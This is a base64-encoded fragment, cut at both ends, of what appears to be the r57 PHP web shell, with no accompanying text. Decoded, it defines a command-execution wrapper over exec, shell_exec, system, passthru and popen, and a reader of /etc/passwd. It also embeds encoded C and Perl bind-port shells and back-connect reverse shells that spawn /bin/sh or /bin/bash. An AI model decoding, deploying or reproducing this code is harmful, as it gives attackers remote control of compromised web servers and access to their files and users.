KDAsMCk7DQogICAgJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiAgICAkZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOw0KICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOw0KICAgICRyID0gIiI7DQogICAgaWYoJGZvdW5kID4gMCkNCiAgICB7DQogICAgICAkciAuPSAiPFRBQkxFIHdpZHRoPTEwMCU+IjsNCiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpDQogICAgICB7DQogICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluIGNvbHNwYW49Mj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQogICAgICAgICRyIC49ICI8L2I+PC9mb250PjwvIFREPiI7DQogICAgICAgICRyIC49ICI8L1RSPiI7DQogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQ0KICAgICAgICB7DQogICAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICAkciAuPSAiPC9UQUJMRT4iOw0KICAgIGVjaG8gJHI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsNCiAgICB9DQogIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgpOw0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiB9DQogcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcnMoKQ0Kew0KICAkdXNlcnMgPSBhcnJheSgpOw0KICAkcm93cz1maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICBpZighJHJvd3MpIHJldHVybiAwOw0KICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQ0KICAgew0KICAgCSR1c2VyID0gQGV4cGxvZGUoIjoiLCRzdHJpbmcpOw0KICAgCWlmKHN1YnN0cigkc3RyaW5nLDAsMSkhPScjJykgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJbMF0pOw0KICAgfQ0KICByZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgY29sb3I9UmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0NCmVjaG8gJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJldHVybiBudWxsOw0KfQ0KZnVuY3Rpb24gcGVybXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOw0KaWYoICRtb2RlICYgMHgxMDAwICkgeyAkdHlwZT0ncCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHgyMDAwICkgeyAkdHlwZT0nYyc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg2MDAwICkgeyAkdHlwZT0nYic7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg4MDAwICkgeyAkdHlwZT0nLSc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhDMDAwICkgeyAkdHlwZT0ncyc7IH0NCmVsc2UgJHR5cGU9J3UnOw0KJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQokb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQokb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQokd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCiR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsNCmlmKCAkbW9kZSAmIDB4NDAwICkgJGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDIwMCApICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnOw0KJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICRvd25lclsncmVhZCddLCAkb3duZXJbJ3dyaXRlJ10sICRvd25lclsnZXhlY3V0ZSddKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkZ3JvdXBbJ3JlYWQnXSwgJGdyb3VwWyd3cml0ZSddLCAkZ3JvdXBbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOw0KcmV0dXJuIHRyaW0oJHMpOw0KfQ0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApDQp7DQogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsNCiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7DQogaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsNCiByZXR1cm4gJHJldC4iPiI7DQp9DQpmdW5jdGlvbiB3aGljaCgkcHIpDQp7DQokcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9DQp9DQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpDQp7DQogJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgZXJyKDApOw0KIGlmKCR3X2ZpbGUpDQogew0KIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogQGZjbG9zZSgkd19maWxlKTsNCiB9DQp9DQpmdW5jdGlvbiBzcigkbCwkdDEsJHQyKQ0KIHsNCiByZXR1cm4gIjx0ciBjbGFzcz10cjE+PHRkIGNsYXNzPXRkMSB3aWR0aD0iLiRsLiIlIGFsaWduPXJpZ2h0PiIuJHQxLiI8L3RkPjx0ZCBjbGFzcz10ZDEgYWxpZ249bGVmdD4iLiR0Mi4iPC90ZD48L3RyPiI7DQogfQ0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkNCnsNCiBpZigkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICIgR0IiO30NCiBlbHNlaWYoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAiIE1CIjt9DQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQ0KIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30NCiByZXR1cm4gJHNpemU7DQp9DQp9DQogIGZ1bmN0aW9uIERpckZpbGVzUigkZGlyLCR0eXBlcz0nJykNCiAgew0KICAgICRmaWxlcyA9IEFycmF5KCk7DQogICAgaWYoKCRoYW5kbGUgPSBAb3BlbmRpcigkZGlyKSkpDQogICAgew0KICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICB7DQogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikNCiAgICAgICAgew0KICAgICAgICAgIGlmKEBpc19kaXIoJGRpci4iLyIuJGZpbGUpKQ0KICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7DQogICAgICAgICAgZWxzZQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOw0KICAgICAgICAgICAgJGV4dCA9IEBzdWJzdHIoJGZpbGUsJHBvcyxAc3RybGVuKCRmaWxlKS0kcG9zKTsNCiAgICAgICAgICAgIGlmKCR0eXBlcykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgaWYoQGluX2FycmF5KCRleHQsZXhwbG9kZSgnOycsJHR5cGVzKSkpDQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICB9DQogICAgcmV0dXJuICRmaWxlczsNCiAgfQ0KICBjbGFzcyBTZWFyY2hSZXN1bHQNCiAgew0KICAgIHZhciAkdGV4dDsNCiAgICB2YXIgJEZpbGVzVG9TZWFyY2g7DQogICAgdmFyICRSZXN1bHRGaWxlczsNCiAgICB2YXIgJEZpbGVzVG90YWw7DQogICAgdmFyICRNYXRjaGVzQ291bnQ7DQogICAgdmFyICRGaWxlTWF0c2NoZXNDb3VudDsNCiAgICB2YXIgJFRpbWVTdGFydDsNCiAgICB2YXIgJFRpbWVUb3RhbDsNCiAgICB2YXIgJHRpdGxlczsNCiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQ0KICAgIHsNCiAgICAgICRkaXJzID0gQGV4cGxvZGUoIjsiLCRkaXIpOw0KICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOw0KICAgICAgZm9yKCRhPTA7JGE8Y291bnQoJGRpcnMpOyRhKyspDQogICAgICAgICR0aGlzLT5GaWxlc1RvU2VhcmNoID0gQGFycmF5X21lcmdlKCR0aGlzLT5GaWxlc1RvU2VhcmNoLERpckZpbGVzUigkZGlyc1skYV0sJGZpbHRlcikpOw0KICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsNCiAgICAgICR0aGlzLT5GaWxlc1RvdGFsID0gQGNvdW50KCR0aGlzLT5GaWxlc1RvU2VhcmNoKTsNCiAgICAgICR0aGlzLT5UaW1lU3RhcnQgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOw0KICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50ID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBHZXRGaWxlc1RvdGFsKCkgeyByZXR1cm4gJHRoaXMtPkZpbGVzVG90YWw7IH0NCiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9DQogICAgZnVuY3Rpb24gR2V0VGltZVRvdGFsKCkgeyByZXR1cm4gJHRoaXMtPlRpbWVUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldE1hdGNoZXNDb3VudCgpIHsgcmV0dXJuICR0aGlzLT5NYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZXRSZXN1bHRGaWxlcygpIHsgcmV0dXJuICR0aGlzLT5SZXN1bHRGaWxlczsgfQ0KICAgIGZ1bmN0aW9uIFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApIHsNCiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOw0KICAgICRkZWxpbSA9ICd8JzsNCiAgICAgIGlmKCRwaHJhc2UpDQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikNCiAgICAgICAgICAkcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KICAgICAgJHdvcmRzID0gJygnLkBpbXBsb2RlKCRkZWxpbSwkcXEpLicpJzsNCiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7DQogICAgICBpZighJGNhc2UpDQogICAgICAgICRwYXR0ZXJuIC49ICdpJzsNCiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkNCiAgICAgIHsNCiAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSA9IDA7DQogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7DQogICAgICAgIGZvcigkYT0wOyRhPEBjb3VudCgkRmlsZVN0cmluZ3MpOyRhKyspDQogICAgICAgIHsNCiAgICAgICAgICAkY291bnQgPSAwOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSAkRmlsZVN0cmluZ3NbJGFdOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAVHJpbSgkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7DQogICAgICAgICAgJGFhID0gJyc7DQogICAgICAgICAgaWYoKCRjb3VudCA9IEBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwkQ3VyU3RyaW5nLCRhYSkpKQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRDdXJTdHJpbmcgPSBAcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCI8U1BBTiBzdHlsZT0nY29sb3I6ICM5OTAwMDA7Jz48Yj5cXDE8L2I+PC9TUEFOPiIsJEN1clN0cmluZyk7DQogICAgICAgICAgICAkdGhpcy0+UmVzdWx0RmlsZXNbJGZpbGVuYW1lXVskYSsxXSA9ICRDdXJTdHJpbmc7DQogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsNCiAgICAgICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gKz0gJGNvdW50Ow0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHRoaXMtPlRpbWVUb3RhbCA9IEByb3VuZChnZXRtaWNyb3RpbWUoKSAtICR0aGlzLT5UaW1lU3RhcnQsNCk7DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIGdldG1pY3JvdGltZSgpDQogIHsNCiAgICBsaXN0KCR1c2VjLCRzZWMpID0gQGV4cGxvZGUoIiAiLEBtaWNyb3RpbWUoKSk7DQogICAgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCiRwb3J0X2JpbmRfYmRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNSNWNHVnpMbWcrRFFvamFXNWpiSFZrWlMNCkE4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MEkNCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQNCmIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWZabUZ0YVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ5WlcxdmRHVXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aGhkRzkNCnBLR0Z5WjNaYk1WMHBLVHNOQ2lCeVpXMXZkR1V1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3SUEwS0lITnZZMnRtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sNCmlrbWNtVnRiM1JsTENBd2VERXdLVHNOQ2lCc2FYTjBaVzRvYzI5amEyWmtMQ0ExS1RzTkNpQjNhR2xzWlNneEtRMEtJQ0I3RFFvZ0lDQnVaWGRtWkQxaFkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2cNCklDQmtkWEF5S0c1bGQyWmtMREFwT3cwS0lDQWdaSFZ3TWlodVpYZG1aQ3d4S1RzTkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2sNCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTINCjl0WlNCMGJ5QnlOVGNnYzJobGJHd2dKaVlnTDJKcGJpOWlZWE5vSUMxcElpazdEUW9nSUNCbGJITmxEUW9nSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVTI5eWNua2lLVHNOQ2lBZ0lHTnNiM05sS0c1bGQNCjJaa0tUc05DaUFnZlEwS0lIME5DbjBOQ21sdWRDQmphSEJoYzNNb1kyaGhjaUFxWW1GelpTd2dZMmhoY2lBcVpXNTBaWEpsWkNrZ2V3MEthVzUwSUdrN0RRcG1iM0lvYVQwd08yazhjM1J5YkdWdUtHVnUNCmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXANCmxiblJsY21Wa1cybGRJRDBnSjF3d0p6c05DbjBOQ21sbUlDZ2hjM1J5WTIxd0tHSmhjMlVzWlc1MFpYSmxaQ2twRFFweVpYUjFjbTRnTURzTkNuMD0iOw0KJHBvcnRfYmluZF9iZF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dlltRnphQ0F0YVNJN0RRcHBaaUFvUUVGU1IxWWdQQ0F4S1NCN0lHVjRhWFFvTVNrN0lIME5DaVJNUw0KVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVMVJTUlVGTkxDUndjbTkwYjJOdmJDa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVg0KVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRXhKVTFSRlRsOVFUMUpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrYVdVZ0lrTmhiblFnYjNCbGJpQndiM0owWEc0aU93MEtiRw0KbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSw0KUTBLZXcwS1pHbGxJQ0pEWVc1dWIzUWdabTl5YXlJZ2FXWWdLQ0ZrWldacGJtVmtJQ1J3YVdRcE93MEtiM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ205d1pXNGdVMVJFVDFWVUxDSStKa05QVGs0aQ0KT3cwS2IzQmxiaUJUVkVSRlVsSXNJajRtUTA5T1RpSTdEUXBsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ21Oc2IzTg0KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOw0KJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWag0KYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVA0Kc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSQ0Ka1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaQ0KS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbA0KT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDDQpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliDQpTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkDQpLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2